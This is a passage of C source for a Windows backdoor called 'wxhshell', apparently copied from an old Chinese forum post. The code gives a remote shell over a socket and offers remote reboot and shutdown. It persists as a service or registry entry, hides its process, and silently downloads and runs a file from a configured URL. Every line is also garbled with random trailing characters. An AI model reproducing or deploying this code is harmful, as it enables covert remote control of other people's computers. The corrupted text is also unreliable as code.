      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]rZ"5y  
    break; RTHdL  
  } s:jr/ j!  
  // 安装 f^:9gRt  
  case 'i': { \P&'4y~PL  
    if(Install()) x%vt$dy*8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O 4l[4,`  
    else }1N)3~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h9>~?1$lz  
    break; Vy-H3BR  
    } XH1so1h  
  // 卸载 5p U(A6RtS  
  case 'r': { pc^(@eD  
    if(Uninstall()) Ga N4In[d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O`OntYwa>  
    else ,5t.0XqS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0-l @U{  
    break; JAmv7GL'6  
    } p?0 a"5Q  
  // 显示 wxhshell 所在路径 %mtW-drv>  
  case 'p': { sBZKf8@/  
    char svExeFile[MAX_PATH]; qJ5Y}/r  
    strcpy(svExeFile,"\n\r"); L7q%u.nB1  
      strcat(svExeFile,ExeFile); <`H:Am`  
        send(wsh,svExeFile,strlen(svExeFile),0); q,0o:nI  
    break; AM'-(x|  
    } Ax=Rb B"  
  // 重启 amlE5GK;  
  case 'b': { Ks8S^77  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); niqiDT/  
    if(Boot(REBOOT)) j9x}D;? n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jP@H$$-=wH  
    else { /G G QO$'  
    closesocket(wsh); \qNj?;B  
    ExitThread(0); c5R58#XK=  
    } ,K3)f.ArYc  
    break; H5^ 'J`0\  
    } ,%v  
  // 关机 xh_6@}D2J  
  case 'd': { 0K@s_C=n#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cDm_QYQ  
    if(Boot(SHUTDOWN)) + [|2k(U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oPo<F5M]d%  
    else { EG@*J*|S  
    closesocket(wsh); wrac\.  
    ExitThread(0); 0Evmq3,9  
    } -P(q<T2MV'  
    break; T&w3IKb|}  
    } a}hpcr({?  
  // 获取shell 2Z\6xb|u  
  case 's': { ~ NK w}6  
    CmdShell(wsh); [@uL)*o_#  
    closesocket(wsh);  Q.DtC  
    ExitThread(0); 8QXxRD;0:  
    break; u"?cmg<.1  
  } .FXq4who  
  // 退出 ?VCb@&*  
  case 'x': { Gv?'R0s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t /EB y"N#  
    CloseIt(wsh); bo0m/hVU  
    break; ?U cW@B{  
    } m%qah>11  
  // 离开 *&% kkbA  
  case 'q': { n;xtUw6 \  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P%ev8]2  
    closesocket(wsh); [NQ`S ~_:  
    WSACleanup(); cCw?%qq,L  
    exit(1); ]9l=geZd%;  
    break; OzA"i y  
        } NMJ230?  
  } RI')iz?  
  } BYqDC<Fq  
Q*^zphT  
  // 提示信息 y9=/kFPRm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @Vr?)_ 0  
} |GA4fFE=  
  } "6gu6f  
z%hB=V!~91  
  return; \XCs(lNh  
} kgEGL]G>  
lw\OsB$  
// shell模块句柄 BikmAa  
int CmdShell(SOCKET sock) INyreoMp  
{ F7E #x  
STARTUPINFO si; Q6`oo/  
ZeroMemory(&si,sizeof(si)); QNLkj`PL/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ja4O*C<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %F3M\)jU  
PROCESS_INFORMATION ProcessInfo; gLaFIeF<+  
char cmdline[]="cmd"; `$JPF  Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KA0Ui,q3  
  return 0; 9F(<n  
} R Q X  
u `1cXL['  
// 自身启动模式 ' &^:@V  
int StartFromService(void) ZL:nohB  
{ ssoIC  
typedef struct w6F4o;<PR  
{ RC sQLKqF  
  DWORD ExitStatus; ;$ D*,W *  
  DWORD PebBaseAddress; G +o)s  
  DWORD AffinityMask; /[#<@o  
  DWORD BasePriority; n-be8p)-  
  ULONG UniqueProcessId; ]E .+)>  
  ULONG InheritedFromUniqueProcessId; : P>Wd3m  
}   PROCESS_BASIC_INFORMATION; U]riBlg>  
' JsP9>)  
PROCNTQSIP NtQueryInformationProcess; vrXUS9i.  
y Rr,+>W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ycg5S rg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vahfz8~w/  
Ms ;:+JI  
  HANDLE             hProcess; 2>80Qp!xO  
  PROCESS_BASIC_INFORMATION pbi; %>_ZUu3M  
8%S5Fc #am  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aF7" 4^P  
  if(NULL == hInst ) return 0; '#mv-/<t*  
d[;Sn:B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9YS&RBJu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LE%3.. !  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?xu5/r<  
~mP#V  
  if (!NtQueryInformationProcess) return 0; `bw>.Ay  
`?+lM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AP&mr1_  
  if(!hProcess) return 0; bx`s;r=  
H(GWC[tv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _]E H~;  
bq#*XCt#  
  CloseHandle(hProcess); NI_.wB{  
&i179Qg!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7t &KKKV  
if(hProcess==NULL) return 0; Bj5_=oo+d  
c193Or'6Y  
HMODULE hMod; #/a>dK  
char procName[255]; ejP273*ah  
unsigned long cbNeeded; LxaR1E(Cc'  
f mu `o-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^EY^.?Mg  
<2@V$$Qg.~  
  CloseHandle(hProcess); [9dW9[Z+!  
3m:[o`L  
if(strstr(procName,"services")) return 1; // 以服务启动 r!A1Sfo4P  
-8H0f- 1  
  return 0; // 注册表启动 ?hu}wl)  
} ,)-7f|  
*F7ksLH|q  
// 主模块 =g)|g+[H  
int StartWxhshell(LPSTR lpCmdLine) qXC>D Gy  
{ 1 XsB  
  SOCKET wsl; _ T ;+*  
BOOL val=TRUE; cYHHCaCS  
  int port=0; do0;"O0 (  
  struct sockaddr_in door; t:|knZq  
^PHWUb+``  
  if(wscfg.ws_autoins) Install(); )1f8 H,q^  
=To}yJ#  
port=atoi(lpCmdLine); *Xm$w  
t*X k'(v  
if(port<=0) port=wscfg.ws_port; Ps=OL\i  
7\ELr 5  
  WSADATA data; DLMM1 A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |oCE7'BaP  
c!#DD;<Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UOh % "h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); , H$1iJ?  
  door.sin_family = AF_INET; 'Bul_D4B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tp7*T8  
  door.sin_port = htons(port); ?&v+-4%4PI  
kC~\D?8E=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u17e  
closesocket(wsl); u!wR  
return 1; t\& u  
} j p g$5jZ  
eAvOT$  
  if(listen(wsl,2) == INVALID_SOCKET) { H<6TN^  
closesocket(wsl); =2-!ay:  
return 1;  ! n@*6  
} Ih_2")d  
  Wxhshell(wsl); NFDh!HUm  
  WSACleanup(); ZcT%H*Ib]9  
+OGa}9j-  
return 0; E RnuM  
urM=l5Sx  
} %qN_<W&Ze  
kl(id8r  
// 以NT服务方式启动 Rn] `_[)*~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G.#`DaP  
{ tXZE@JyuC  
DWORD   status = 0; h%2;B;p]  
  DWORD   specificError = 0xfffffff; ,_ zivUU  
x}acxu 2H7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3}U {~l!K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7bC1!x*qw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SEf:u  
  serviceStatus.dwWin32ExitCode     = 0; a?635*9K  
  serviceStatus.dwServiceSpecificExitCode = 0; Io8h 8N-  
  serviceStatus.dwCheckPoint       = 0; EMe3Xb `  
  serviceStatus.dwWaitHint       = 0; .TI =3*`G  
? zFeP6C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gG^A6Ol%D  
  if (hServiceStatusHandle==0) return; <o JM||ZA  
]Tv0+ Ao  
status = GetLastError(); ape \zZCV  
  if (status!=NO_ERROR) C2$_Ad=s  
{ "4`i]vy8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4V2}'/|[  
    serviceStatus.dwCheckPoint       = 0; 701mf1a  
    serviceStatus.dwWaitHint       = 0; % s|` 1`c  
    serviceStatus.dwWin32ExitCode     = status; x%J4A+kU  
    serviceStatus.dwServiceSpecificExitCode = specificError; B~\mr{|u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >h!>Ll  
    return; uItzFX*   
  } P@LFX[HtM  
S-^:p5{r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5X4 #T&.  
  serviceStatus.dwCheckPoint       = 0; O~wZU Zf  
  serviceStatus.dwWaitHint       = 0; F!N D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @ PboT1  
} G)(vd0X1  
c >8I M  
// 处理NT服务事件,比如:启动、停止 5o v F$qn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]U4)2s  
{ *h <_gn  
switch(fdwControl) E}YJGFB7"  
{ ~!t#M2Sk  
case SERVICE_CONTROL_STOP: &1!T@^56  
  serviceStatus.dwWin32ExitCode = 0; \sSt _|+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sxP1. = W  
  serviceStatus.dwCheckPoint   = 0; @k|V4  
  serviceStatus.dwWaitHint     = 0; q=,  
  { fV "gL(7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4 ~s{zob  
  } t9U-c5bR  
  return; B_kjy=]O.  
case SERVICE_CONTROL_PAUSE: nq/SGo[c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; goMv8d  
  break; qk+RZ>T<o  
case SERVICE_CONTROL_CONTINUE: k <EzYh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \dx$G?R  
  break; f4mQDRlD  
case SERVICE_CONTROL_INTERROGATE: I:l/U-b7h  
  break; ],W/IDv  
}; '5usPD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s7789pR  
} "sD[P3  
~zd+M/8  
// 标准应用程序主函数 \>G:mMk/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \nzaF4+$  
{ K/;*.u`:  
c}-WK*v  
// 获取操作系统版本 a,/wqX  
OsIsNt=GetOsVer(); `mt x+C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K(: _52rt  
<N~&Leh  
  // 从命令行安装 E S>iM)M  
  if(strpbrk(lpCmdLine,"iI")) Install(); SK]"JSY`  
g[%iVZ  
  // 下载执行文件 l&2pUv=  
if(wscfg.ws_downexe) { R'z -#*[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m"|AD/2;(  
  WinExec(wscfg.ws_filenam,SW_HIDE); \'>8 (i~  
} {L#+v~d^'n  
[ U`})  
if(!OsIsNt) { Kqn{q4L  
// 如果时win9x,隐藏进程并且设置为注册表启动 HX`>" ?{  
HideProc(); gP^p7aYwn  
StartWxhshell(lpCmdLine); &UextGk7  
} *[ww;  
else kw$*o k  
  if(StartFromService()) vw'BKi F  
  // 以服务方式启动 tB<2mjg  
  StartServiceCtrlDispatcher(DispatchTable); ? 3t]9z  
else ?AlTQL~c  
  // 普通方式启动 )zMsKfQ  
  StartWxhshell(lpCmdLine); qy^sdqHl@  
!C>'a:  
return 0; "3H?_!A9  
}
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只看该作者 1 发表于: 2006-10-10
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